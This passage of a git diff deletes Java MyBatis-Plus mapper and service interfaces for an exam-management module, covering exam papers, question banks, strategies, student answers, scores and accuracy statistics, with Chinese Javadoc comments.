insertExamPaperStrategy(ExamPaperStrategy examPaperStrategy); - - /** - * 修改试卷模板策略 - * - * @param examPaperStrategy 试卷模板策略 - * @return 结果 - */ - public int updateExamPaperStrategy(ExamPaperStrategy examPaperStrategy); - - /** - * 删除试卷模板策略 - * - * @param id 试卷模板策略ID - * @return 结果 - */ - public int deleteExamPaperStrategyById(Long id); - - /** - * 批量删除试卷模板策略 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteExamPaperStrategyByIds(Long[] ids); - - /** - * 批量删除策略子 - * - * @param customerIds 需要删除的数据ID - * @return 结果 - */ - public int deleteExamPaperStrategyListByExamPaperStrategyIds(Long[] ids); - - /** - * 批量新增策略子 - * - * @param examPaperStrategyListList 策略子列表 - * @return 结果 - */ - public int batchExamPaperStrategyList(List examPaperStrategyListList); - - - /** - * 通过试卷模板策略ID删除策略子信息 - * - * @param roleId 角色ID - * @return 结果 - */ - public int deleteExamPaperStrategyListByExamPaperStrategyId(Long id); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamQuestionCorrectionMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamQuestionCorrectionMapper.java deleted file mode 100644 index d5cfaf3..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamQuestionCorrectionMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.exam.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.exam.domain.ExamQuestionCorrection; -import com.luqj.exam.domain.ExamQuestionCorrectionPlus; - -/** - * 题目纠错Mapper接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface ExamQuestionCorrectionMapper extends BaseMapper -{ - /** - * 查询题目纠错 - * - * @param id 题目纠错ID - * @return 题目纠错 - */ - public ExamQuestionCorrection selectExamQuestionCorrectionById(Long id); - - /** - * 查询题目纠错列表 - * - * @param examQuestionCorrection 题目纠错 - * @return 题目纠错集合 - */ - public List selectExamQuestionCorrectionList(ExamQuestionCorrection examQuestionCorrection); - - /** - * 新增题目纠错 - * - * @param examQuestionCorrection 题目纠错 - * @return 结果 - */ - public int insertExamQuestionCorrection(ExamQuestionCorrection examQuestionCorrection); - - /** - * 修改题目纠错 - * - * @param examQuestionCorrection 题目纠错 - * @return 结果 - */ - public int updateExamQuestionCorrection(ExamQuestionCorrection examQuestionCorrection); - - /** - * 删除题目纠错 - * - * @param id 题目纠错ID - * @return 结果 - */ - public int deleteExamQuestionCorrectionById(Long id); - - /** - * 批量删除题目纠错 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteExamQuestionCorrectionByIds(Long[] ids); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamQuestionFavoriteMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamQuestionFavoriteMapper.java deleted file mode 100644 index c49b3b6..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamQuestionFavoriteMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.exam.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.exam.domain.ExamQuestionFavorite; -import com.luqj.exam.domain.ExamQuestionFavoritePlus; - -/** - * 题目收藏Mapper接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface ExamQuestionFavoriteMapper extends BaseMapper -{ - /** - * 查询题目收藏 - * - * @param id 题目收藏ID - * @return 题目收藏 - */ - public ExamQuestionFavorite selectExamQuestionFavoriteById(Long id); - - /** - * 查询题目收藏列表 - * - * @param examQuestionFavorite 题目收藏 - * @return 题目收藏集合 - */ - public List selectExamQuestionFavoriteList(ExamQuestionFavorite examQuestionFavorite); - - /** - * 新增题目收藏 - * - * @param examQuestionFavorite 题目收藏 - * @return 结果 - */ - public int insertExamQuestionFavorite(ExamQuestionFavorite examQuestionFavorite); - - /** - * 修改题目收藏 - * - * @param examQuestionFavorite 题目收藏 - * @return 结果 - */ - public int updateExamQuestionFavorite(ExamQuestionFavorite examQuestionFavorite); - - /** - * 删除题目收藏 - * - * @param id 题目收藏ID - * @return 结果 - */ - public int deleteExamQuestionFavoriteById(Long id); - - /** - * 批量删除题目收藏 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteExamQuestionFavoriteByIds(Long[] ids); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamQuestionMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamQuestionMapper.java deleted file mode 100644 index 03ae9e3..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamQuestionMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.exam.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.exam.domain.ExamQuestion; -import com.luqj.exam.domain.ExamQuestionPlus; - -/** - * 题库Mapper接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface ExamQuestionMapper extends BaseMapper -{ - /** - * 查询题库 - * - * @param id 题库ID - * @return 题库 - */ - public ExamQuestion selectExamQuestionById(Long id); - - /** - * 查询题库列表 - * - * @param examQuestion 题库 - * @return 题库集合 - */ - public List selectExamQuestionList(ExamQuestion examQuestion); - - /** - * 新增题库 - * - * @param examQuestion 题库 - * @return 结果 - */ - public int insertExamQuestion(ExamQuestion examQuestion); - - /** - * 修改题库 - * - * @param examQuestion 题库 - * @return 结果 - */ - public int updateExamQuestion(ExamQuestion examQuestion); - - /** - * 删除题库 - * - * @param id 题库ID - * @return 结果 - */ - public int deleteExamQuestionById(Long id); - - /** - * 批量删除题库 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteExamQuestionByIds(Long[] ids); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamSchoolMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamSchoolMapper.java deleted file mode 100644 index 2bddc97..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamSchoolMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.exam.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.exam.domain.ExamSchool; -import com.luqj.exam.domain.ExamSchoolPlus; - -/** - * 出题学校Mapper接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface ExamSchoolMapper extends BaseMapper -{ - /** - * 查询出题学校 - * - * @param id 出题学校ID - * @return 出题学校 - */ - public ExamSchool selectExamSchoolById(Long id); - - /** - * 查询出题学校列表 - * - * @param examSchool 出题学校 - * @return 出题学校集合 - */ - public List selectExamSchoolList(ExamSchool examSchool); - - /** - * 新增出题学校 - * - * @param examSchool 出题学校 - * @return 结果 - */ - public int insertExamSchool(ExamSchool examSchool); - - /** - * 修改出题学校 - * - * @param examSchool 出题学校 - * @return 结果 - */ - public int updateExamSchool(ExamSchool examSchool); - - /** - * 删除出题学校 - * - * @param id 出题学校ID - * @return 结果 - */ - public int deleteExamSchoolById(Long id); - - /** - * 批量删除出题学校 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteExamSchoolByIds(Long[] ids); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamStudentMistakesMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamStudentMistakesMapper.java deleted file mode 100644 index fae74d9..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamStudentMistakesMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.exam.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.exam.domain.ExamStudentMistakes; -import com.luqj.exam.domain.ExamStudentMistakesPlus; - -/** - * 错题集Mapper接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface ExamStudentMistakesMapper extends BaseMapper -{ - /** - * 查询错题集 - * - * @param id 错题集ID - * @return 错题集 - */ - public ExamStudentMistakes selectExamStudentMistakesById(Long id); - - /** - * 查询错题集列表 - * - * @param examStudentMistakes 错题集 - * @return 错题集集合 - */ - public List selectExamStudentMistakesList(ExamStudentMistakes examStudentMistakes); - - /** - * 新增错题集 - * - * @param examStudentMistakes 错题集 - * @return 结果 - */ - public int insertExamStudentMistakes(ExamStudentMistakes examStudentMistakes); - - /** - * 修改错题集 - * - * @param examStudentMistakes 错题集 - * @return 结果 - */ - public int updateExamStudentMistakes(ExamStudentMistakes examStudentMistakes); - - /** - * 删除错题集 - * - * @param id 错题集ID - * @return 结果 - */ - public int deleteExamStudentMistakesById(Long id); - - /** - * 批量删除错题集 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteExamStudentMistakesByIds(Long[] ids); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamStudentPaperAnswerMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamStudentPaperAnswerMapper.java deleted file mode 100644 index 000433f..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamStudentPaperAnswerMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.exam.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.exam.domain.ExamStudentPaperAnswer; -import com.luqj.exam.domain.ExamStudentPaperAnswerPlus; - -/** - * 学生答题明细Mapper接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface ExamStudentPaperAnswerMapper extends BaseMapper -{ - /** - * 查询学生答题明细 - * - * @param id 学生答题明细ID - * @return 学生答题明细 - */ - public ExamStudentPaperAnswer selectExamStudentPaperAnswerById(Long id); - - /** - * 查询学生答题明细列表 - * - * @param examStudentPaperAnswer 学生答题明细 - * @return 学生答题明细集合 - */ - public List selectExamStudentPaperAnswerList(ExamStudentPaperAnswer examStudentPaperAnswer); - - /** - * 新增学生答题明细 - * - * @param examStudentPaperAnswer 学生答题明细 - * @return 结果 - */ - public int insertExamStudentPaperAnswer(ExamStudentPaperAnswer examStudentPaperAnswer); - - /** - * 修改学生答题明细 - * - * @param examStudentPaperAnswer 学生答题明细 - * @return 结果 - */ - public int updateExamStudentPaperAnswer(ExamStudentPaperAnswer examStudentPaperAnswer); - - /** - * 删除学生答题明细 - * - * @param id 学生答题明细ID - * @return 结果 - */ - public int deleteExamStudentPaperAnswerById(Long id); - - /** - * 批量删除学生答题明细 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteExamStudentPaperAnswerByIds(Long[] ids); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamStudentPaperMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamStudentPaperMapper.java deleted file mode 100644 index e632bad..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamStudentPaperMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.exam.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.exam.domain.ExamStudentPaper; -import com.luqj.exam.domain.ExamStudentPaperPlus; - -/** - * 学生考试试卷实例Mapper接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface ExamStudentPaperMapper extends BaseMapper -{ - /** - * 查询学生考试试卷实例 - * - * @param id 学生考试试卷实例ID - * @return 学生考试试卷实例 - */ - public ExamStudentPaper selectExamStudentPaperById(Long id); - - /** - * 查询学生考试试卷实例列表 - * - * @param examStudentPaper 学生考试试卷实例 - * @return 学生考试试卷实例集合 - */ - public List selectExamStudentPaperList(ExamStudentPaper examStudentPaper); - - /** - * 新增学生考试试卷实例 - * - * @param examStudentPaper 学生考试试卷实例 - * @return 结果 - */ - public int insertExamStudentPaper(ExamStudentPaper examStudentPaper); - - /** - * 修改学生考试试卷实例 - * - * @param examStudentPaper 学生考试试卷实例 - * @return 结果 - */ - public int updateExamStudentPaper(ExamStudentPaper examStudentPaper); - - /** - * 删除学生考试试卷实例 - * - * @param id 学生考试试卷实例ID - * @return 结果 - */ - public int deleteExamStudentPaperById(Long id); - - /** - * 批量删除学生考试试卷实例 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteExamStudentPaperByIds(Long[] ids); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamStudentScoreMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamStudentScoreMapper.java deleted file mode 100644 index 273311c..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/ExamStudentScoreMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.exam.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.exam.domain.ExamStudentScore; -import com.luqj.exam.domain.ExamStudentScorePlus; - -/** - * 学生成绩Mapper接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface ExamStudentScoreMapper extends BaseMapper -{ - /** - * 查询学生成绩 - * - * @param id 学生成绩ID - * @return 学生成绩 - */ - public ExamStudentScore selectExamStudentScoreById(Long id); - - /** - * 查询学生成绩列表 - * - * @param examStudentScore 学生成绩 - * @return 学生成绩集合 - */ - public List selectExamStudentScoreList(ExamStudentScore examStudentScore); - - /** - * 新增学生成绩 - * - * @param examStudentScore 学生成绩 - * @return 结果 - */ - public int insertExamStudentScore(ExamStudentScore examStudentScore); - - /** - * 修改学生成绩 - * - * @param examStudentScore 学生成绩 - * @return 结果 - */ - public int updateExamStudentScore(ExamStudentScore examStudentScore); - - /** - * 删除学生成绩 - * - * @param id 学生成绩ID - * @return 结果 - */ - public int deleteExamStudentScoreById(Long id); - - /** - * 批量删除学生成绩 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteExamStudentScoreByIds(Long[] ids); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/StatsExamAccuracyMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/StatsExamAccuracyMapper.java deleted file mode 100644 index 5f55c43..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/StatsExamAccuracyMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.exam.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.exam.domain.StatsExamAccuracy; -import com.luqj.exam.domain.StatsExamAccuracyPlus; - -/** - * 学生答题正确率统计Mapper接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface StatsExamAccuracyMapper extends BaseMapper -{ - /** - * 查询学生答题正确率统计 - * - * @param id 学生答题正确率统计ID - * @return 学生答题正确率统计 - */ - public StatsExamAccuracy selectStatsExamAccuracyById(Long id); - - /** - * 查询学生答题正确率统计列表 - * - * @param statsExamAccuracy 学生答题正确率统计 - * @return 学生答题正确率统计集合 - */ - public List selectStatsExamAccuracyList(StatsExamAccuracy statsExamAccuracy); - - /** - * 新增学生答题正确率统计 - * - * @param statsExamAccuracy 学生答题正确率统计 - * @return 结果 - */ - public int insertStatsExamAccuracy(StatsExamAccuracy statsExamAccuracy); - - /** - * 修改学生答题正确率统计 - * - * @param statsExamAccuracy 学生答题正确率统计 - * @return 结果 - */ - public int updateStatsExamAccuracy(StatsExamAccuracy statsExamAccuracy); - - /** - * 删除学生答题正确率统计 - * - * @param id 学生答题正确率统计ID - * @return 结果 - */ - public int deleteStatsExamAccuracyById(Long id); - - /** - * 批量删除学生答题正确率统计 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteStatsExamAccuracyByIds(Long[] ids); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/StatsExamQuestionAccuracyMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/StatsExamQuestionAccuracyMapper.java deleted file mode 100644 index 02863b2..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/StatsExamQuestionAccuracyMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.exam.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.exam.domain.StatsExamQuestionAccuracy; -import com.luqj.exam.domain.StatsExamQuestionAccuracyPlus; - -/** - * 按题目统计Mapper接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface StatsExamQuestionAccuracyMapper extends BaseMapper -{ - /** - * 查询按题目统计 - * - * @param id 按题目统计ID - * @return 按题目统计 - */ - public StatsExamQuestionAccuracy selectStatsExamQuestionAccuracyById(Long id); - - /** - * 查询按题目统计列表 - * - * @param statsExamQuestionAccuracy 按题目统计 - * @return 按题目统计集合 - */ - public List selectStatsExamQuestionAccuracyList(StatsExamQuestionAccuracy statsExamQuestionAccuracy); - - /** - * 新增按题目统计 - * - * @param statsExamQuestionAccuracy 按题目统计 - * @return 结果 - */ - public int insertStatsExamQuestionAccuracy(StatsExamQuestionAccuracy statsExamQuestionAccuracy); - - /** - * 修改按题目统计 - * - * @param statsExamQuestionAccuracy 按题目统计 - * @return 结果 - */ - public int updateStatsExamQuestionAccuracy(StatsExamQuestionAccuracy statsExamQuestionAccuracy); - - /** - * 删除按题目统计 - * - * @param id 按题目统计ID - * @return 结果 - */ - public int deleteStatsExamQuestionAccuracyById(Long id); - - /** - * 批量删除按题目统计 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteStatsExamQuestionAccuracyByIds(Long[] ids); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/mapper/StatsExamWeekAccuracyMapper.java b/luqj-exam/src/main/java/com/luqj/exam/mapper/StatsExamWeekAccuracyMapper.java deleted file mode 100644 index 3881a62..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/mapper/StatsExamWeekAccuracyMapper.java +++ /dev/null @@ -1,65 +0,0 @@ -package com.luqj.exam.mapper; - -import java.util.List; - -import com.baomidou.mybatisplus.core.mapper.BaseMapper; -import org.apache.ibatis.annotations.Param; -import com.luqj.exam.domain.StatsExamWeekAccuracy; -import com.luqj.exam.domain.StatsExamWeekAccuracyPlus; - -/** - * 学生答题正确率统计Mapper接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface StatsExamWeekAccuracyMapper extends BaseMapper -{ - /** - * 查询学生答题正确率统计 - * - * @param id 学生答题正确率统计ID - * @return 学生答题正确率统计 - */ - public StatsExamWeekAccuracy selectStatsExamWeekAccuracyById(Long id); - - /** - * 查询学生答题正确率统计列表 - * - * @param statsExamWeekAccuracy 学生答题正确率统计 - * @return 学生答题正确率统计集合 - */ - public List selectStatsExamWeekAccuracyList(StatsExamWeekAccuracy statsExamWeekAccuracy); - - /** - * 新增学生答题正确率统计 - * - * @param statsExamWeekAccuracy 学生答题正确率统计 - * @return 结果 - */ - public int insertStatsExamWeekAccuracy(StatsExamWeekAccuracy statsExamWeekAccuracy); - - /** - * 修改学生答题正确率统计 - * - * @param statsExamWeekAccuracy 学生答题正确率统计 - * @return 结果 - */ - public int updateStatsExamWeekAccuracy(StatsExamWeekAccuracy statsExamWeekAccuracy); - - /** - * 删除学生答题正确率统计 - * - * @param id 学生答题正确率统计ID - * @return 结果 - */ - public int deleteStatsExamWeekAccuracyById(Long id); - - /** - * 批量删除学生答题正确率统计 - * - * @param ids 需要删除的数据ID - * @return 结果 - */ - public int deleteStatsExamWeekAccuracyByIds(Long[] ids); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IExamPaperItemService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IExamPaperItemService.java deleted file mode 100644 index ea10f55..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IExamPaperItemService.java +++ /dev/null @@ -1,105 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; - -import com.luqj.exam.domain.ChooiseQustion; -import com.luqj.exam.domain.ChooiseSearch; -import com.luqj.exam.domain.ExamPaperItem; -import com.luqj.exam.domain.ExamPaperItemPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 试卷明细Service接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface IExamPaperItemService extends IService -{ - /** - * 查询试卷明细 - * - * @param id 试卷明细ID - * @return 试卷明细 - */ - public ExamPaperItem selectExamPaperItemById(Long id); - - /** - * 查询试卷明细列表 - * - * @param examPaperItem 试卷明细 - * @return 试卷明细集合 - */ - public List selectExamPaperItemList(ExamPaperItem examPaperItem); - - /** - * 新增试卷明细 - * - * @param examPaperItem 试卷明细 - * @return 结果 - */ - public int insertExamPaperItem(ExamPaperItem examPaperItem); - - /** - * 修改试卷明细 - * - * @param examPaperItem 试卷明细 - * @return 结果 - */ - public int updateExamPaperItem(ExamPaperItem examPaperItem); - - /** - * 批量删除试卷明细 - * - * @param ids 需要删除的试卷明细ID - * @return 结果 - */ - public int deleteExamPaperItemByIds(Long[] ids); - - /** - * 删除试卷明细信息 - * - * @param id 试卷明细ID - * @return 结果 - */ - public int deleteExamPaperItemById(Long id); - - int deleteExamPaperItemByModuleIdAndQuestionIds(Long moduleId,List questionIds); - - boolean additionalInfo(List list); - - List getByIds(List ids, SFunction... columns); - - ExamPaperItemPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); - - List chooiseList(ChooiseSearch search); - - List selectByModuleIdAndQuestionIds(Long moduleId,List questionIds); - - boolean deleteByPaperId(Long id); - - boolean deleteByPaperId(List ids); - - boolean deleteByModuleId(Long id); - - boolean deleteByModuleId(List ids); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IExamPaperModuleService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IExamPaperModuleService.java deleted file mode 100644 index b832464..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IExamPaperModuleService.java +++ /dev/null @@ -1,92 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; -import com.luqj.exam.domain.ExamPaperModule; -import com.luqj.exam.domain.ExamPaperModulePlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 试卷模块Service接口 - * - * @author ruoyi - * @date 2021-08-10 - */ -public interface IExamPaperModuleService extends IService -{ - /** - * 查询试卷模块 - * - * @param id 试卷模块ID - * @return 试卷模块 - */ - public ExamPaperModule selectExamPaperModuleById(Long id); - - /** - * 查询试卷模块列表 - * - * @param examPaperModule 试卷模块 - * @return 试卷模块集合 - */ - public List selectExamPaperModuleList(ExamPaperModule examPaperModule); - - /** - * 新增试卷模块 - * - * @param examPaperModule 试卷模块 - * @return 结果 - */ - public int insertExamPaperModule(ExamPaperModule examPaperModule); - - /** - * 修改试卷模块 - * - * @param examPaperModule 试卷模块 - * @return 结果 - */ - public int updateExamPaperModule(ExamPaperModule examPaperModule); - - /** - * 批量删除试卷模块 - * - * @param ids 需要删除的试卷模块ID - * @return 结果 - */ - public int deleteExamPaperModuleByIds(Long[] ids); - - /** - * 删除试卷模块信息 - * - * @param id 试卷模块ID - * @return 结果 - */ - public int deleteExamPaperModuleById(Long id); - - List getByIds(List ids, SFunction... columns); - - ExamPaperModulePlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); - - boolean addQuestion(Long moduleId,Long questionId); - - boolean addQuestion(Long moduleId,List questionIds); - - boolean removeQuestion(Long moduleId,List questionIds); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IExamPaperService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IExamPaperService.java deleted file mode 100644 index c0baef4..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IExamPaperService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; -import com.luqj.exam.domain.ExamPaper; -import com.luqj.exam.domain.ExamPaperPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 试卷Service接口 - * - * @author ruoyi - * @date 2021-08-09 - */ -public interface IExamPaperService extends IService -{ - /** - * 查询试卷 - * - * @param id 试卷ID - * @return 试卷 - */ - public ExamPaper selectExamPaperById(Long id); - - /** - * 查询试卷列表 - * - * @param examPaper 试卷 - * @return 试卷集合 - */ - public List selectExamPaperList(ExamPaper examPaper); - - /** - * 新增试卷 - * - * @param examPaper 试卷 - * @return 结果 - */ - public int insertExamPaper(ExamPaper examPaper); - - /** - * 修改试卷 - * - * @param examPaper 试卷 - * @return 结果 - */ - public int updateExamPaper(ExamPaper examPaper); - - /** - * 批量删除试卷 - * - * @param ids 需要删除的试卷ID - * @return 结果 - */ - public int deleteExamPaperByIds(Long[] ids); - - /** - * 删除试卷信息 - * - * @param id 试卷ID - * @return 结果 - */ - public int deleteExamPaperById(Long id); - - List getByIds(List ids, SFunction... columns); - - ExamPaperPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IExamPaperStrategyListService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IExamPaperStrategyListService.java deleted file mode 100644 index cdecaa5..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IExamPaperStrategyListService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; -import com.luqj.exam.domain.ExamPaperStrategyList; -import com.luqj.exam.domain.ExamPaperStrategyListPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 策略子Service接口 - * - * @author ruoyi - * @date 2021-07-23 - */ -public interface IExamPaperStrategyListService extends IService -{ - /** - * 查询策略子 - * - * @param id 策略子ID - * @return 策略子 - */ - public ExamPaperStrategyList selectExamPaperStrategyListById(Long id); - - /** - * 查询策略子列表 - * - * @param examPaperStrategyList 策略子 - * @return 策略子集合 - */ - public List selectExamPaperStrategyListList(ExamPaperStrategyList examPaperStrategyList); - - /** - * 新增策略子 - * - * @param examPaperStrategyList 策略子 - * @return 结果 - */ - public int insertExamPaperStrategyList(ExamPaperStrategyList examPaperStrategyList); - - /** - * 修改策略子 - * - * @param examPaperStrategyList 策略子 - * @return 结果 - */ - public int updateExamPaperStrategyList(ExamPaperStrategyList examPaperStrategyList); - - /** - * 批量删除策略子 - * - * @param ids 需要删除的策略子ID - * @return 结果 - */ - public int deleteExamPaperStrategyListByIds(Long[] ids); - - /** - * 删除策略子信息 - * - * @param id 策略子ID - * @return 结果 - */ - public int deleteExamPaperStrategyListById(Long id); - - List getByIds(List ids, SFunction... columns); - - ExamPaperStrategyListPlus getById(Long id, SFunction... columns); - - Map getMapByIds(List ids, SFunction... columns); - - List getByIds(List ids); - - Map getMapByIds(List ids); - - /** - * @param field sum 字段 - * @param where 条件 - * @param tClass 返回类型 - * @param - * @return - */ - T sum(String field, String where, Class tClass); - - Long count(String where); - - List countByGroupBy(String select, String where, String groupby, Class tClass); -} diff --git a/luqj-exam/src/main/java/com/luqj/exam/service/IExamPaperStrategyService.java b/luqj-exam/src/main/java/com/luqj/exam/service/IExamPaperStrategyService.java deleted file mode 100644 index 32ead36..0000000 --- a/luqj-exam/src/main/java/com/luqj/exam/service/IExamPaperStrategyService.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.luqj.exam.service; -import java.util.Map; -import java.util.List; -import com.luqj.exam.domain.ExamPaperStrategy; -import com.luqj.exam.domain.ExamPaperStrategyPlus; -import com.baomidou.mybatisplus.extension.service.IService; -import com.baomidou.mybatisplus.core.toolkit.support.SFunction; -/** - * 试卷模板策略Service接口 - * - * @author ruoyi - * @date 2021-07-29 - */ -public interface IExamPaperStrategyService extends IService -{ - /** - * 查询试卷模板策略 - * - * @param id 试卷模板策略ID - * @return 试卷模板策略 - */ - public ExamPaperStrategy selectExamPaperStrategyById(Long id); - - /** - * 查询试卷模板策略列表 - * - * @param examPaperStrategy 试卷模板策略 - * @return 试卷模板策略集合 - */ - public List selectExamPaperStrategyList(ExamPaperStrategy examPaperStrategy); - - /** - * 新增试卷模板策略 - * - * @param examPaperStrategy 试卷模板策略 - * @return 结果 - */ - public int insertExamPaperStrategy(ExamPaperStrategy examPaperStrategy); - - /** - * 修改试卷模板策略 - * - * @param examPaperStrategy 试卷模板策略 - * @return 结果 - */ - public int updateExamPaperStrategy(ExamPaperStrategy examPaperStrategy); - - /** - * 批量删除试卷模板策略 - * - * @param ids 需要删除的试卷模板策略ID - * @return 结果 - */ - public int deleteExamPaperStrategyByIds(Long[] ids); - - /** - * 删除试卷模板策略信息 - * - * @param id 试卷模板策略ID - * @return 结果 - 